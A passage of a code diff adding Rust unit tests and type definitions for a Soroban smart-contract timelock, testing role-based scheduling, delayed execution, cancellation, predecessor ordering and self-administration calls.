predecessor.clone().into_val(&self.env), + salt.clone().into_val(&self.env), + delay.into_val(&self.env), + ] + } + + /// The arguments of an `execute` call, for the auth mock. + fn execute_args( + &self, + executor: &Address, + calls: &Vec, + predecessor: &Option>, + salt: &BytesN<32>, + ) -> Vec { + vec![ + &self.env, + executor.clone().into_val(&self.env), + calls.clone().into_val(&self.env), + predecessor.clone().into_val(&self.env), + salt.clone().into_val(&self.env), + ] + } + + /// The arguments of a `cancel` call, for the auth mock. + fn cancel_args(&self, canceller: &Address, id: &BytesN<32>) -> Vec { + vec![ + &self.env, + canceller.clone().into_val(&self.env), + id.clone().into_val(&self.env), + ] + } + + /// Schedule a `set_value` batch, as the proposer. Returns its id. + fn schedule_set_value(&self, n: u8, value: u32) -> BytesN<32> { + let calls = self.set_value_call(value); + let salt = salt_of(&self.env, n); + self.authorize( + &self.proposer, + "schedule", + self.schedule_args(&self.proposer, &calls, &None, &salt, DELAY), + ); + self.client() + .schedule(&self.proposer, &calls, &None, &salt, &DELAY) + } + + /// Schedule a batch that depends on `predecessor`. Returns its id. + fn schedule_after(&self, n: u8, predecessor: &BytesN<32>, value: u32) -> BytesN<32> { + let calls = self.set_value_call(value); + let salt = salt_of(&self.env, n); + self.authorize( + &self.proposer, + "schedule", + self.schedule_args( + &self.proposer, + &calls, + &Some(predecessor.clone()), + &salt, + DELAY, + ), + ); + self.client().schedule( + &self.proposer, + &calls, + &Some(predecessor.clone()), + &salt, + &DELAY, + ) + } + + /// Execute a ready operation, as the executor. + fn execute(&self, calls: &Vec, salt: &BytesN<32>) { + self.authorize( + &self.executor, + "execute", + self.execute_args(&self.executor, calls, &None, salt), + ); + self.client().execute(&self.executor, calls, &None, salt); + } + + /// Cancel a pending operation, as `canceller`. + fn cancel_as(&self, canceller: &Address, id: &BytesN<32>) { + self.authorize(canceller, "cancel", self.cancel_args(canceller, id)); + self.client().cancel(canceller, id); + } + + fn warp(&self, dt: u64) { + let t = self.env.ledger().timestamp(); + self.env.ledger().set_timestamp(t + dt); + } +} + +// ── initialization ─────────────────────────────────────────────────────────── + +#[test] +fn initialize_records_the_roles_and_the_timing() { + let h = setup(); + assert_eq!(h.client().get_min_delay(), DELAY); + assert!(h.client().has_role(&Role::Proposer, &h.proposer)); + assert!(h.client().has_role(&Role::Executor, &h.executor)); + assert!(h.client().has_role(&Role::Canceller, &h.canceller)); + // A named executor means execution is not open. + assert!(!h.client().is_open_executor()); +} + +#[test] +fn an_empty_executor_set_means_anyone_may_execute() { + let h = setup_with_executors(false); + assert!(h.client().is_open_executor()); + assert!(!h.client().has_role(&Role::Executor, &h.executor)); +} + +#[test] +fn initialize_runs_only_once() { + let h = setup(); + assert!(h + .client() + .try_initialize(&DELAY, &vec![&h.env], &vec![&h.env], &vec![&h.env]) + .is_err()); +} + +// ── scheduling ─────────────────────────────────────────────────────────────── + +#[test] +fn schedule_records_a_pending_operation_under_its_content_id() { + let h = setup(); + let calls = h.set_value_call(42); + let salt = salt_of(&h.env, 1); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &calls, &None, &salt, DELAY), + ); + let id = h + .client() + .schedule(&h.proposer, &calls, &None, &salt, &DELAY); + // The id is the hash of the payload, so it can be derived before the + // batch is ever scheduled. + assert_eq!(id, h.client().hash_operation(&calls, &None, &salt)); + assert!(h.client().is_operation(&id)); + assert!(h.client().is_operation_pending(&id)); + assert!(!h.client().is_operation_done(&id)); + assert!(!h.client().is_operation_ready(&id)); + // The status packs into one number: 0 unknown, 1 done, else ready-at. + assert_eq!( + h.client().get_timestamp(&id), + h.env.ledger().timestamp() + DELAY + ); + assert_eq!(h.client().get_timestamp(&salt_of(&h.env, 9)), 0); +} + +#[test] +fn only_a_proposer_can_schedule() { + let h = setup(); + let e = &h.env; + let calls = h.set_value_call(1); + let salt = salt_of(e, 1); + // The canceller signs, but the proposer is the one who schedules. + h.authorize( + &h.canceller, + "schedule", + h.schedule_args(&h.canceller, &calls, &None, &salt, DELAY), + ); + assert_eq!( + h.client() + .try_schedule(&h.canceller, &calls, &None, &salt, &DELAY), + Err(Ok(crate::error::Error::Unauthorized.into())) + ); + assert!(!h + .client() + .is_operation(&h.client().hash_operation(&calls, &None, &salt))); +} + +#[test] +fn rejects_a_delay_below_the_minimum() { + let h = setup(); + let e = &h.env; + let calls = h.set_value_call(1); + let salt = salt_of(e, 1); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &calls, &None, &salt, DELAY - 1), + ); + assert_eq!( + h.client() + .try_schedule(&h.proposer, &calls, &None, &salt, &(DELAY - 1)), + Err(Ok(crate::error::Error::InsufficientDelay.into())) + ); +} + +#[test] +fn rejects_an_empty_batch() { + let h = setup(); + let e = &h.env; + let calls: Vec = vec![e]; + let salt = salt_of(e, 1); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &calls, &None, &salt, DELAY), + ); + assert_eq!( + h.client() + .try_schedule(&h.proposer, &calls, &None, &salt, &DELAY), + Err(Ok(crate::error::Error::EmptyOperation.into())) + ); +} + +#[test] +fn rejects_a_duplicate_operation_id() { + let h = setup(); + let calls = h.set_value_call(1); + let salt = salt_of(&h.env, 1); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &calls, &None, &salt, DELAY), + ); + h.client() + .schedule(&h.proposer, &calls, &None, &salt, &DELAY); + // The mock authorization is spent by the first call, so the second one + // is authorized again. + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &calls, &None, &salt, DELAY), + ); + assert_eq!( + h.client() + .try_schedule(&h.proposer, &calls, &None, &salt, &DELAY), + Err(Ok(crate::error::Error::AlreadyScheduled.into())) + ); +} + +// ── executing ──────────────────────────────────────────────────────────────── + +#[test] +fn executes_at_the_delay_boundary_and_not_before() { + let h = setup(); + let calls = h.set_value_call(42); + let salt = salt_of(&h.env, 1); + let id = h.schedule_set_value(1, 42); + h.warp(DELAY - 1); + h.authorize( + &h.executor, + "execute", + h.execute_args(&h.executor, &calls, &None, &salt), + ); + assert_eq!( + h.client().try_execute(&h.executor, &calls, &None, &salt), + Err(Ok(crate::error::Error::NotReady.into())) + ); + assert!(!h.client().is_operation_ready(&id)); + // Exactly at the ready-at the operation may run: the boundary is + // inclusive. + h.warp(1); + assert!(h.client().is_operation_ready(&id)); + h.execute(&calls, &salt); + assert_eq!(h.target_client().value(), 42); + assert!(h.client().is_operation_done(&id)); + // A done operation reports 1, not its ready-at. + assert_eq!(h.client().get_timestamp(&id), 1); +} + +#[test] +fn an_operation_never_runs_twice() { + let h = setup(); + let calls = h.set_value_call(42); + let salt = salt_of(&h.env, 1); + let id = h.schedule_set_value(1, 42); + h.warp(DELAY); + h.execute(&calls, &salt); + assert!(h.client().is_operation_done(&id)); + h.authorize( + &h.executor, + "execute", + h.execute_args(&h.executor, &calls, &None, &salt), + ); + assert_eq!( + h.client().try_execute(&h.executor, &calls, &None, &salt), + Err(Ok(crate::error::Error::NotPending.into())) + ); +} + +#[test] +fn only_an_executor_can_execute() { + let h = setup(); + let calls = h.set_value_call(42); + let salt = salt_of(&h.env, 1); + let id = h.schedule_set_value(1, 42); + h.warp(DELAY); + // The proposer signs, but the executor is the one who executes. + h.authorize( + &h.proposer, + "execute", + h.execute_args(&h.proposer, &calls, &None, &salt), + ); + assert_eq!( + h.client().try_execute(&h.proposer, &calls, &None, &salt), + Err(Ok(crate::error::Error::Unauthorized.into())) + ); + // The operation is untouched by the failed attempt. + assert!(h.client().is_operation_pending(&id)); + h.execute(&calls, &salt); + assert_eq!(h.target_client().value(), 42); +} + +#[test] +fn an_open_executor_lets_anyone_execute() { + let h = setup_with_executors(false); + let calls = h.set_value_call(7); + let salt = salt_of(&h.env, 1); + let id = h.schedule_set_value(1, 7); + h.warp(DELAY); + // No signature at all: execution is open. + h.env.set_auths(&[]); + h.client().execute(&h.proposer, &calls, &None, &salt); + assert_eq!(h.target_client().value(), 7); + assert!(h.client().is_operation_done(&id)); +} + +#[test] +fn the_target_needs_no_signature_because_the_timelock_is_the_invoker() { + let h = setup(); + let calls = h.set_value_call(7); + let salt = salt_of(&h.env, 1); + let id = h.schedule_set_value(1, 7); + h.warp(DELAY); + h.execute(&calls, &salt); + assert_eq!(h.target_client().value(), 7); + assert!(h.client().is_operation_done(&id)); +} + +// ── cancelling ─────────────────────────────────────────────────────────────── + +#[test] +fn only_a_canceller_can_cancel() { + let h = setup(); + let id = h.schedule_set_value(1, 42); + let stranger = Address::generate(&h.env); + h.authorize(&stranger, "cancel", h.cancel_args(&stranger, &id)); + assert_eq!( + h.client().try_cancel(&stranger, &id), + Err(Ok(crate::error::Error::Unauthorized.into())) + ); + assert!(h.client().is_operation_pending(&id)); +} + +#[test] +fn cancelling_removes_the_operation() { + let h = setup(); + let id = h.schedule_set_value(1, 42); + h.cancel_as(&h.canceller, &id); + assert!(!h.client().is_operation(&id)); + assert!(!h.client().is_operation_pending(&id)); + assert_eq!(h.client().get_timestamp(&id), 0); +} + +#[test] +fn a_cancelled_operation_can_never_run() { + let h = setup(); + let calls = h.set_value_call(42); + let salt = salt_of(&h.env, 1); + let id = h.schedule_set_value(1, 42); + h.cancel_as(&h.canceller, &id); + h.warp(DELAY); + h.authorize( + &h.executor, + "execute", + h.execute_args(&h.executor, &calls, &None, &salt), + ); + assert_eq!( + h.client().try_execute(&h.executor, &calls, &None, &salt), + Err(Ok(crate::error::Error::NotPending.into())) + ); +} + +#[test] +fn cancelling_an_unknown_or_finished_operation_fails() { + let h = setup(); + let unknown = salt_of(&h.env, 9); + h.authorize( + &h.canceller, + "cancel", + h.cancel_args(&h.canceller, &unknown), + ); + assert_eq!( + h.client().try_cancel(&h.canceller, &unknown), + Err(Ok(crate::error::Error::NotPending.into())) + ); + let calls = h.set_value_call(42); + let salt = salt_of(&h.env, 1); + let id = h.schedule_set_value(1, 42); + h.warp(DELAY); + h.execute(&calls, &salt); + h.authorize(&h.canceller, "cancel", h.cancel_args(&h.canceller, &id)); + assert_eq!( + h.client().try_cancel(&h.canceller, &id), + Err(Ok(crate::error::Error::NotPending.into())) + ); +} + +// ── predecessors ───────────────────────────────────────────────────────────── + +#[test] +fn a_dependent_cannot_run_before_its_predecessor() { + let h = setup(); + let first_calls = h.set_value_call(10); + let first_salt = salt_of(&h.env, 1); + let first = h.schedule_set_value(1, 10); + let second_calls = h.set_value_call(20); + let second_salt = salt_of(&h.env, 2); + let second = h.schedule_after(2, &first, 20); + assert_eq!( + h.client().get_operation(&second).unwrap().predecessor, + first.clone() + ); + h.warp(DELAY); + assert!(!h.client().is_operation_ready(&second)); + h.authorize( + &h.executor, + "execute", + h.execute_args( + &h.executor, + &second_calls, + &Some(first.clone()), + &second_salt, + ), + ); + assert_eq!( + h.client().try_execute( + &h.executor, + &second_calls, + &Some(first.clone()), + &second_salt + ), + Err(Ok(crate::error::Error::PredecessorNotDone.into())) + ); + h.execute(&first_calls, &first_salt); + assert!(h.client().is_operation_ready(&second)); + h.authorize( + &h.executor, + "execute", + h.execute_args( + &h.executor, + &second_calls, + &Some(first.clone()), + &second_salt, + ), + ); + h.client().execute( + &h.executor, + &second_calls, + &Some(first.clone()), + &second_salt, + ); + assert_eq!(h.target_client().value(), 20); +} + +#[test] +fn cancelling_a_predecessor_leaves_its_dependent_unexecutable() { + let h = setup(); + let first = h.schedule_set_value(1, 10); + let second_calls = h.set_value_call(20); + let second_salt = salt_of(&h.env, 2); + let second = h.schedule_after(2, &first, 20); + h.cancel_as(&h.canceller, &first); + h.warp(DELAY); + // The predecessor is gone, so the dependent can never run. + h.authorize( + &h.executor, + "execute", + h.execute_args( + &h.executor, + &second_calls, + &Some(first.clone()), + &second_salt, + ), + ); + assert_eq!( + h.client().try_execute( + &h.executor, + &second_calls, + &Some(first.clone()), + &second_salt + ), + Err(Ok(crate::error::Error::PredecessorNotDone.into())) + ); + assert!(!h.client().is_operation_ready(&second)); +} + +// ── self-administration ────────────────────────────────────────────────────── + +#[test] +fn self_calls_reconfigure_the_timelock() { + let h = setup(); + let new_proposer = Address::generate(&h.env); + + // Each self-call is scheduled and run on its own: the id is the hash of + // the payload, so the executor has to repeat exactly the same call. + let update_delay_calls = + h.self_call("update_delay", vec![&h.env, (2 * DELAY).into_val(&h.env)]); + let update_delay_salt = salt_of(&h.env, 1); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args( + &h.proposer, + &update_delay_calls, + &None, + &update_delay_salt, + DELAY, + ), + ); + h.client().schedule( + &h.proposer, + &update_delay_calls, + &None, + &update_delay_salt, + &DELAY, + ); + + let grant_calls = h.self_call( + "grant_role", + vec![ + &h.env, + Role::Proposer.into_val(&h.env), + new_proposer.clone().into_val(&h.env), + ], + ); + let grant_salt = salt_of(&h.env, 2); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &grant_calls, &None, &grant_salt, DELAY), + ); + h.client() + .schedule(&h.proposer, &grant_calls, &None, &grant_salt, &DELAY); + + let revoke_calls = h.self_call( + "revoke_role", + vec![ + &h.env, + Role::Canceller.into_val(&h.env), + h.canceller.clone().into_val(&h.env), + ], + ); + let revoke_salt = salt_of(&h.env, 3); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &revoke_calls, &None, &revoke_salt, DELAY), + ); + h.client() + .schedule(&h.proposer, &revoke_calls, &None, &revoke_salt, &DELAY); + + let open_calls = h.self_call("set_open_executor", vec![&h.env, true.into_val(&h.env)]); + let open_salt = salt_of(&h.env, 4); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &open_calls, &None, &open_salt, DELAY), + ); + h.client() + .schedule(&h.proposer, &open_calls, &None, &open_salt, &DELAY); + + h.warp(DELAY); + for (calls, s) in [ + (&update_delay_calls, &update_delay_salt), + (&grant_calls, &grant_salt), + (&revoke_calls, &revoke_salt), + (&open_calls, &open_salt), + ] { + h.authorize( + &h.executor, + "execute", + h.execute_args(&h.executor, calls, &None, s), + ); + h.client().execute(&h.executor, calls, &None, s); + } + + assert_eq!(h.client().get_min_delay(), 2 * DELAY); + assert!(h.client().has_role(&Role::Proposer, &new_proposer)); + assert!(!h.client().has_role(&Role::Canceller, &h.canceller)); + assert!(h.client().is_open_executor()); +} + +#[test] +fn an_unknown_self_call_is_refused() { + let h = setup(); + let calls = h.self_call("nope", vec![&h.env]); + let salt = salt_of(&h.env, 1); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &calls, &None, &salt, DELAY), + ); + h.client() + .schedule(&h.proposer, &calls, &None, &salt, &DELAY); + h.warp(DELAY); + h.authorize( + &h.executor, + "execute", + h.execute_args(&h.executor, &calls, &None, &salt), + ); + assert_eq!( + h.client().try_execute(&h.executor, &calls, &None, &salt), + Err(Ok(crate::error::Error::UnknownSelfCall.into())) + ); +} + +// ── migrations shim ────────────────────────────────────────────────────────── + +#[test] +fn the_migrations_shim_still_works() { + let h = setup(); + assert_eq!( + h.client().schema_version(), + crate::migrations::CURRENT_SCHEMA_VERSION + ); + assert_eq!(h.client().migration_state(), None); + // Nothing is in progress, so a batch cannot be continued. + assert_eq!( + h.client().try_migrate_batch(&0, &50), + Err(Ok(crate::error::Error::NoMigrationInProgress.into())) + ); +} + +#[test] +fn the_migrate_self_call_reaches_the_migration_framework() { + let h = setup(); + // `migrate(from, to)` with `to <= from` is an invalid target, which + // proves the self-call really dispatches into the migration framework + // rather than being ignored. + let calls = h.self_call( + "migrate", + vec![&h.env, 1u32.into_val(&h.env), 1u32.into_val(&h.env)], + ); + let salt = salt_of(&h.env, 1); + h.authorize( + &h.proposer, + "schedule", + h.schedule_args(&h.proposer, &calls, &None, &salt, DELAY), + ); + h.client() + .schedule(&h.proposer, &calls, &None, &salt, &DELAY); + h.warp(DELAY); + h.authorize( + &h.executor, + "execute", + h.execute_args(&h.executor, &calls, &None, &salt), + ); + assert_eq!( + h.client().try_execute(&h.executor, &calls, &None, &salt), + Err(Ok(crate::error::Error::InvalidMigrationTarget.into())) + ); +} diff --git a/timelock/src/types.rs b/timelock/src/types.rs index e69de29..08a7c23 100644 --- a/timelock/src/types.rs +++ b/timelock/src/types.rs @@ -0,0 +1,84 @@ +use soroban_sdk::{contracttype, Address, BytesN, Symbol, Val, Vec}; + +/// One call in a scheduled batch. +#[contracttype] +#[derive(Clone)] +pub struct Call { + /// The contract to call. + pub target: Address, + /// The function to call on it. + pub function: Symbol, + /// The arguments, in order. + pub args: Vec, +} + +/// The roles the timelock knows about. +/// +/// A role is a *set* of addresses, not a single holder: the protocol hands +/// the timelock to one signer during the handover and to a council later, +/// without the contract having to be redeployed. +#[contracttype] +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +#[repr(u32)] +pub enum Role { + /// May schedule operations. + Proposer = 0, + /// May execute a ready operation. + Executor = 1, + /// May cancel a pending operation. + Canceller = 2, +} + +/// A scheduled batch of calls. +/// +/// The batch runs as one unit: `execute` walks the calls in order and a +/// revert in any of them reverts the whole batch. There is no partial +/// execution, so a batch either happened or did not. +#[contracttype] +#[derive(Clone)] +pub struct Operation { + /// The calls, in order. + pub calls: Vec, + /// The id of the operation that must have run first, or the all-zero id + /// when there is none. + /// + /// A contract type cannot hold an `Option>`, and an + /// operation id is the SHA-256 of a payload, so the all-zero id is not + /// one an operation can ever have: it is the "no predecessor" marker. + pub predecessor: BytesN<32>, + /// The salt that makes this operation's id unique. + pub salt: BytesN<32>, + /// The ledger timestamp from which the operation may be executed. The + /// boundary is inclusive: an operation may run at exactly this moment. + pub ready_at: u64, + /// Set once the batch has run. A finished operation never runs again, + /// which is what makes `execute` safe to retry after a crash. + pub done: bool, +} + +/// The all-zero operation id: the "no predecessor" marker. +/// +/// A contract type cannot hold an `Option>`, and an operation id +/// is the SHA-256 of a payload, so the all-zero id is not one an operation +/// can ever have: it is safe to use as the marker. +pub fn is_no_predecessor(id: &BytesN<32>) -> bool { + id.to_array() == [0u8; 32] +} + +/// Storage keys. +/// +/// The role and configuration keys live in instance storage; operations live +/// in persistent storage, because a scheduled batch outlives the +/// transaction that created it. +#[contracttype] +#[derive(Clone)] +pub enum DataKey { + /// The smallest delay an operation may be scheduled with. + MinDelay, + /// Whether anyone may execute a ready operation. + OpenExecutor, + /// Membership of one address in one role. + Role(Role, Address), + /// A scheduled operation, by id. + Operation(BytesN<32>), +}